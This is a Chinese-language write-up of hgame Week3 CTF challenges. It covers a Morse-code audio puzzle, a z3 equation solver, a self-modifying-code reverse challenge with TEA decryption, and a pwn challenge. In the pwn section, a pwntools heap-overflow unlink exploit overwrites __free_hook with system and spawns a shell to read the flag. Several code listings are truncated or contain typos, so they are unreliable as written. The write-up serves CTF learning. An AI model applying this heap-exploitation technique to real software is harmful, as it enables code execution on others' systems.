Week3

MISC

0x01 听听音乐?

签到题,MP3 里是一段摩斯密码,拉进 Adobe Audition ,搞定
..-./.-../.-/--./---.../.----/-/..--.-/.---/..-/...../-/..--.-/....-/..--.-/./.-/.../-.--/..--.-/.--/.-/.../

Flag: hgame{1T_JU5T_4_EASY_WAV}

RE

0x1 Math

一个 32 元方程,放 hint 之后,用 z3 很好搞定

```
frpm z3 import *

solver = Solver()
flag = [Int('flag%d' % i)]

for i in flag
    solver.add(i >= 32)
    solver.add(i <= 128)

solver.add(82 * flag[16] + 58 * flag[25] + 76 * flag[21]+ 31 * flag[9]+ 87 * flag
solver.add(55 * flag[6]+ 38 * flag[9]+ 39 * flag[18]+ 73 * flag[24]+ 86 * flag[1
solver.add(28 * flag[6] + 17 * flag[21] + 18 * flag[3] + 53 * flag[10]+ 82 * flag
solver.add(86 * flag[23] + 52 * flag[1] + 14 * flag[24]+ 46 * flag[6]+ 56 * flag
solver.add(53 * flag[3] + 91 * flag[2] + 57 * flag[25] + 66 * flag[20] + 9 * flag
solver.add(55 * flag[23] + 88 * flag[9]+ 48 * flag[4]+ 83 * flag[13]+ 66 * flag[
solver.add(43 * flag[16] + 47 * flag[0] + 53 * flag[24] + 75 * flag[11] + 57 * f
solver.add(77 * flag[30] + 89 * flag[31] + 55 * flag[7] + 86 * flag[17]+ 74 * fla
solver.add(53 * flag[24] + 95 * flag[27] + 51 * flag[7]+ 42 * flag[4]+ 78 * flag
solver.add(69 * flag[0]+ 67 * flag[9]+ 57 * flag[15]+ 77 * flag[10]+ 67 * flag[2
solver.add(31 * flag[9] + 17 * flag[4] + 6 * flag[28] + 23 * flag[25] + 32 * flag
solver.add(25 * flag[21] + 79 * flag[3] + 41 * flag[24] + 45 * flag[30] + 82 * f
solver.add(83 * flag[11] + 75 * flag[1] +  42 * flag[31] + 95 * flag[30] + 58 * 
solver.add(30 * flag[25] + 41 * flag[28] + 65 * flag[10] + flag[1] + 88 * flag[3
solver.add(6 * flag[9] + 19 * flag[19] + 27 * flag[18] + 48 * flag[4] + 13 * flag
solver.add(95 * flag[8] + 92 * flag[18] + 84 * flag[31] +  31 * flag[12] + 35 * 
solver.add(36 * flag[22] + 69 * flag[28] + 77 * flag[6] + 92 * flag[20] + 43 * f
solver.add(16 * flag[7] + flag[15] + 82 * flag[9] + 60 * flag[29] + 68 * flag[2]
solver.add(88 * flag[22] + 23 * flag[13] + 18 * flag[14] + 77 * flag[9] + 56 * f
solver.add(25 * flag[8] + 81 * flag[30] + 21 * flag[6] + 72 * flag[11] + 48 * fla
solver.add(37 * flag[28] + 62 * flag[25] + 42 * flag[18] + 53 * flag[27] + 52 * 
solver.add(80 * flag[21] + 43 * flag[31] + 67 * flag[16] + 55 * flag[13] + 95 * 
solver.add(25 * flag[24] + 11 * flag[22] + 27 * flag[11] + 40 * flag[8] + 53 * f
solver.add(89 * flag[21] + 100 * flag[13] + flag[27] + 66 * flag[18] + 40 * flag
solver.add(73 * flag[20] + 16 * flag[26] + 100 * flag[5] + 71 * flag[28] + 71 * 
solver.add((flag[12] << 6) + 76 * flag[0] + 5 * flag[11] + 87 * flag[2]+ 86 * fl
solver.add(95 * flag[30] + 75 * flag[28] + 3 * flag[10] + 36 * flag[1]+ 60 * flag
solver.add(68 * flag[5] + 98 * flag[27] + 98 * flag[16] + 10 * flag[19] + 25 * f
solver.add(60 * flag[10] + 50 * flag[12] + 30 * flag[29] + 90 * flag[19] + 68 * 
solver.add(53 * flag[30] + 87 * flag[25] + 23 * flag[29] + 80 * flag[20] + 86 * 
solver.add(29 * flag[3] + 93 * flag[5] + 67 * flag[21] + 12 * flag[11]+ 82 * flag
solver.add(13 * flag[14] + 73 * flag[19] + 99 * flag[7] + 76 * flag[12] + 84 * f

print ('prepare okeay')
check = solver.check()

print (check)

if check == sat:
    m = solver.model()
    s = []
    for i in range(32)
        s.append(chr(m[flag[i]]))
    print(''.join(s))
```

Flag: hgame{H4ppY#n3w@Y3AR%fr0M-oDiDi}

0x02 Say-Muggle-Code a.k.a. SMC

拉进 IDA,可以看到,flag 长度为 39,除去 hgame{}外
前十六个字符,存在 v15 里,后十六个字符存在 v16 里
Check1,check2 分别加密了 v15,v16
Check1 是一个简单的异或
Check2 段有一个未知的 encrypted 函数
放 hint 之后,可以知道 encrypted 函数是在运行之后通过 modify 生成的,
需要根据 modify 写脚本手动生成 encrypted

```
#include <idc.idc>

static main()
{
    auto addr = 0x603000;
    auto i = 0;
    auto v3 = 123;
    for(i=0;addr+i<0x603200;i++)
    {

        PatchByte(addr+i,Byte(addr+i)^v3++);
    }
}

```

之后看到 encrypted

```
for( i= 0 ;i < 32; ++i)
{

        v3 +=0x9e3779b9
    for(j = 0; j<=3 ;j +=2)
        {
            x = v16[4 * j];
            y = v16[ 4*(j + 1)];
            x += (y + v3) ^ ((y << 4) + v17[0]) ^ ((y >> 5) + v17[1]);
            y += (x + v3) ^ ((x << 4) + v17[2]) ^ ((x >> 5) + v17[3]);
        }

    }
```

查了之后得知这是 TEA 加密
两轮分别处理了 v16 的前后八位
而 v17 的 16 位转为四个 int,作为秘钥

找到解密算法

```
#include<stdio.h>
//hgame{
//v15[] = 781ef0676e13e541
//v16[] = d280d3ff5bba784c
//}
void DecryptTEA(unsigned int *firstChunk, unsigned int *secondChunk, unsigned
{
    unsigned int  sum = 0;
    unsigned int  y = *firstChunk;
        unsigned int  z = *secondChunk;
        unsigned int  delta = 0x9e3779b9;

        sum = delta << 5;
        for (int i = 0; i < 32; i++) //
          {
           z -= (y << 4) + key[2] ^ y + sum ^ (y >> 5) + key[3];
           y -= (z << 4) + key[0] ^ z + sum ^ (z >> 5) + key[1];
         sum -= delta;
          }
    *firstChunk = y;
      *secondChunk = z;
 }


int main()
{

    unsigned int chunk[] = {0x13b3b8c9,0xe7ed6f9b,0x88b3f54d,0x3268dc26};
    unsigned int key[]   = {0x54090f37,0x01065603,0x02545301,0x05015056};

    DecryptTEA(&chunk[0],&chunk[1],key);
    DecryptTEA(&chunk[2],&chunk[3],key);

  puts((char*)chunk);
    return 0;
}
```

Flag: hgame{781ef0676e13e541d280d3ff5bba784c}
(讲道理,都是 400,re 真的是送分 QAQ)

PWN

0x01 namebook

reset 存在堆溢出
可以修改下个 chunk 的 size 和 pre_size 项

```
from pwn import *
context.log_level = 'debug'

def set(index,name):
    p.sendline('1')
    p.sendlineafter("index:",str(index))
    p.sendlineafter("name:",name)
    p.recvuntil("done.")

def delete(index):
    p.sendline('2')
    p.sendlineafter("index:",str(index))
    p.recvuntil("done.")

def reset(index,name):
    p.sendline('4')
    p.sendlineafter("index:",str(index))
    p.sendlineafter("name:",name)
    p.recvuntil("done.")

def print_chunk(index):
    p.sendline('3')
    p.recvuntil('index:')
    p.sendline('0')
    return recvuntil("done.\n")[0:-7]+'\x00\x00'
```

溢出 chunk0,伪造 fake_chunk 修改 chunk1 的 size 项

然后 free(chunk1)
将 chunk0 unlink
可以读到 read 函数的真实地址
因为 libc 已知,可以查到 system,与_free_hook 的位置
同样的方式
Unlink chunk1
使用 chunk1 写入地址
(说实话对 hook 这段的原理,不是特别清楚,是照着 CSDN 其他题的 exp 抄的)

```
chunk_list = 0x602040
init = ''
read_got = elf.got['read']
fd = chunk_list - 0x18
bk = chunk_list - 0x10

set(0,'a')
set(1,'a')

payload1 = p64(0x0) + p64(0x81)
payload1+= p64(fd) + p64(bk) +'a'*0x60 + p64(0x80) + p64(0x9
reset(0,payload1)
delete(1)

payload2 = p64(0) +p64(0)+p64(0) + p64(read_got)
reset(0,payload2)
read_addr =print_chunk(0)
#print hex(read_addr)
free_hook = read_addr+0x2CF558
system_addr = read_addr-0xB1EC0

set(1,'a')
set(2,'a')
set(3,'/bin/sh')

payload3 = p64(0) + p64(0x81) + p64(fd-0x8) + p64(bk-0x8)
payload3+= p64(0x80) + p64(0x90)
reset(1,payload3)
delete(2)

payloda4 = 'a'*0x18 + p64(free_hook)
reset(1,payload4)

payload5 = p64(system_addr)
reset(1,payload5)
delete(3)

p.interactive()
```

把/bin/sh 装在 chunk3 里,free chunk3,执行 system('/bin/sh')
getshell!

```
>index:name:done.
>index:$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x1d bytes:
    'hgame{WelC0me_T0_He4p_WOr!d}\n'
hgame{WelC0me_T0_He4p_WOr!d}
[*] Got EOF while reading in interactive
$
```

Flag: hgame{WelC0me_T0_He4p_WOr!d}